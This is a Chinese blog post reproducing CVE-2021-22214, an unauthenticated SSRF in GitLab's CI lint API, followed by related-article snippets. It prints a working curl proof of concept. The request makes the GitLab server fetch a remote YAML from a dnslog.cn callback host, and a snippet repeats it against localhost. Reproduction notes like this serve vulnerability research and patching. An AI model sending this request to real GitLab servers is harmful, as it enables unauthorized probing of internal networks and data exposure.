CVE-2021-22214 Gitlab_SSRF

最新推荐文章于 2024-11-04 10:14:43 发布
最新推荐文章于 2024-11-04 10:14:43 发布
阅读量2.8k 收藏
点赞数 1
分类专栏： 漏洞复现 笔记 Kali 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_45945976/article/details/121947598
版权

CVE-2021-22214 Gitlab_SSRF

漏洞复现：
目标地址：https://gitlab.xxx.xxx/users/sign_in
在这里插入图片描述POC

curl -s --show-error -H 'Content-Type: application/json' https://gitlab.xxx.xxx/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://fbnwxn.dnslog.cn/api/v1/targets/?test.yml"}'

http://fbnwxn.dnslog.cn 是你要让机器访问的地址（SSRF）
在这里插入图片描述

Gitlab SSRF 漏洞复现 CVE-2021-22214
afei001
08-03 1452
GitLab 是一个用于仓库管理系统的开源项目，使用 Git 作为代码管理工具，并在此基础上搭建起来的 Web服务。当对内部网络的webhook的请求被启用时，GitLab CE/EE中一个服务器端请求伪造漏洞SSRF(影响从10.5开始的所有版本)就有可能被未经身份验证的攻击者利用，即使是在注册受限的GitLab实例上。...
GitLab SSRF
平凡
06-22 651
只要春天不死，就有迎春的花朵年年岁岁开放，生命讲涅磐，生生不息,并会以另一种形式永存。
gitlab SSRF（CVE-2021-22214）
YouthBelief的博客
11-11 2208
gitlab SSRF CVE-2021-22214gitlab SSRF（CVE-2021-22214）0x01 漏洞描述0x02 影响范围0x03 漏洞复现curl检测脚本检测0x04 漏洞修复 gitlab SSRF（CVE-2021-22214） 0x01 漏洞描述 GitLab存在前台未授权SSRF漏洞。该漏洞源于对用户提供数据的验证不足，远程攻击者可通过发送特殊构造的 HTTP 请求，欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。 0x0
Gitlab SSRF(CVE-2021-22214)
m0_65150886的博客
02-02 536
当13.10.5 > GitLab >= 10.5、13.11.5 > GitLab >= 13.11、13.12.2 > GitLab >= 13.12时，远程攻击者可通过发送特殊构造的 HTTP 请求，欺骗应用程序向任意系统发起请求。而根据其说明文档文档，其include操作支持remote选项，用于获取远端的yaml。GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的Git（版本控制系统）项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。
追洞计划 | Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)
Ms08067安全实验室
06-22 6433
文章来源｜MS08067 Web安全知识星球本文作者：Taoing（Web安全攻防合伙人） GitLab 是一个用于仓库管理系统的开源项目，使用Git作为代码管理工具，并在此基础上搭建起来...
生命在于研究——CVE-2021-22214记录
易水哲的博客
09-28 624
GitLab存在前台未授权SSRF漏洞，未授权的攻击者也可以利用该漏洞执行SSRF攻击（CVE-2021-22214）。该漏洞源于对用户提供数据的验证不足，远程攻击者可通过发送特殊构造的 HTTP 请求，欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。
CVE-2021-22214
08-09
CVE-2021-22214是一个与GitLab相关的SSRF漏洞。该漏洞允许攻击者通过构造特定的请求，在GitLab中实现服务器端请求伪造。通过发送恶意的请求，攻击者可以执行未经授权的操作，可能导致敏感信息泄露或系统受到攻击。 ...
Python-GitLab1147SSRF配合redis远程执行代码
08-10
GitLab 11.4.7 SSRF配合redis远程执行代码
(CVE-2021-22214)Gitlab SSRF漏洞 漏洞复现
鸣蜩十四的博客
08-09 3093
简介 GitLab 是一个用于仓库管理系统的开源项目，使用Git作为代码管理工具，并在此基础上搭建起来的Web服务。 漏洞描述 GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git（版本控制系统）项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式。而根据其说明文档文档，其include 操作支持remote选项，用于获取远端的yaml。因此在此处将
[CVE-2021-22214]Gitlab SSRF 未授权访问漏洞
whoami
04-13 3541
一、影响版本 13.10.5 > GitLab >= 10.5 13.11.5 > GitLab >= 13.11 13.12.2 > GitLab >= 13.12 二、漏洞POC curl -s --show-error -H 'Content-Type: application/json' http://127.0.0.1:55001/api/v4/ci/lint --data '{ "include_merged_yaml": true, "con
CVE-2021-22214 Gitlab APl未授权SSRF复现
最新发布
qq_48550824的博客
11-04 215
CVE-2021-22214 Gitlab API未授权SSRF复现 - 我有清茶与酒 - 博客园
Gitlab 任意文件读取漏洞（CVE-2016-9086）以及gitlab SSRF to redis
公众号shadow sock7
12-16 1307
使用vulhub的环境： https://github.com/vulhub/vulhub/tree/master/gitlab/CVE-2016-9086 任意文件读取漏洞(CVE-2016-9086): GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13 任意用户authentication_token泄露漏洞： Gitlab CE/EE versions 8.10.3-8.10.5 docker起来之后是这样： 新建项目的时候有一个从Gitl
案例研究-SSRF+DNS rebinding【$5000】
the_biggest_baby的博客
06-06 1327
分享一篇 HackerOne 上一篇赏金 5000$ 的 DNS rebinding（重新绑定）绕过 ssrf 的报告的学习记录。Hacking for fun!
Log4j2漏洞复现（CVE-2021-44228）
热门推荐
qq_43798640的博客
12-15 3万+
Apache Log4j是一个基于Java的日志记录组件，通过重写Log4j引入了丰富的功能特性，该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞，攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。影响范围：Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件，如 spring-boot-strater-log4...
Microsoft Exchange多个高危漏洞 （CVE-2021-26855/26857/26858/27065）
爱国小白帽
03-05 6895
\1. 通告信息 2021年03月04日，安识科技A-Team团队监测到微软官方发布了Microsoft Exchange安全更新，披露了包括CVE-2021-26855,CVE-2021-26857,CVE-2021-26858,CVE-2021-27065等多个高危漏洞。 \2. 漏洞概述 Microsoft Exchange Server 是个消息与协作系统。Exchange Server可以被用来构架应用于企业、学校的邮件系统或免费邮件系统。2021年03月03日微软官方披露多个Excha.
【POC公开】CVE-2021-31166：Windows HTTP协议远程代码执行漏洞通告
爱国小白帽
05-17 2675
报告编号：B6-2021-051702 报告来源：360CERT 报告作者：360CERT 更新日期：2021-05-17 1 漏洞简述 2021年05月17日，360CERT监测发现国外安全研究员发布了Windows HTTP协议远程代码执行漏洞的POC详情，漏洞编号为CVE-2021-31166，漏洞等级：严重，漏洞评分：9.8。 该漏洞在微软5月补丁日中完成了修复，微软官方将其标记为可造成蠕虫攻击及易被攻击，攻击者可以利用该漏洞造成大范围蠕虫攻击。 对此，360CERT建议广大用户及时将Windows
WebLogic CVE-2021-2211 XXE漏洞分析
爱国小白帽
04-21 1380
漏洞简述 2021年1月12日,墨云安全V-Lab实验室向Oracle官方报告了Weblogic Server XXE漏洞,2021年4月21日Oracle发布了致谢信息。 时间线 2021年1月12日向Oracle官方报告了此漏洞 2021年1月13日Oracle分配了issue编号 2021年1月25日Oracle确认在下一个补丁日修复此漏洞 2021年4月17日Oracle分配CVE编号CVE-2021-2211 2021年4月21日Oracle发布致谢信息 影响版本 10.3.6.0.0 1.
Git安全漏洞检查CVE-2021-21300
GitCode
03-16 2346
CVE-2021-21300 安全漏洞检查 本项目模拟一个利用CVE-2021-21300漏洞执行仓库内恶意脚本的行为，如果您的git客户端有 CVE-2021-21300 的安全漏洞，执行 git clone 本仓库时会输出以下内容 CVE-2021-21300 detected !!! Please update your git to fix the vulnerability CVE-2021-21300 影响分析 由于对 symbolic links 处理的问题，导致在不区分大小写的文件系统例
CVE-2020-2021:SAML身份验证机制绕过漏洞通告
爱国小白帽
06-30 3609
CVE-2020-2021:SAML身份验证机制绕过漏洞通告 360-CERT [三六零CERT](javascript:void(0)???? 今天 0x00 漏洞背景 2020年06月30日， 360CERT监测发现Palo Alto官方发布了SAML身份验证机制绕过的风险通告，该漏洞编号为CVE-2020-2021，漏洞等级：高危。 安全声明标记语言（SAML）是用于根据用户在另一上下文中的会话将其登录到当前应用程序中的标准。 SAML身份验证机制存在身份验证绕过的威胁。当SAML开启,同时Vali
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值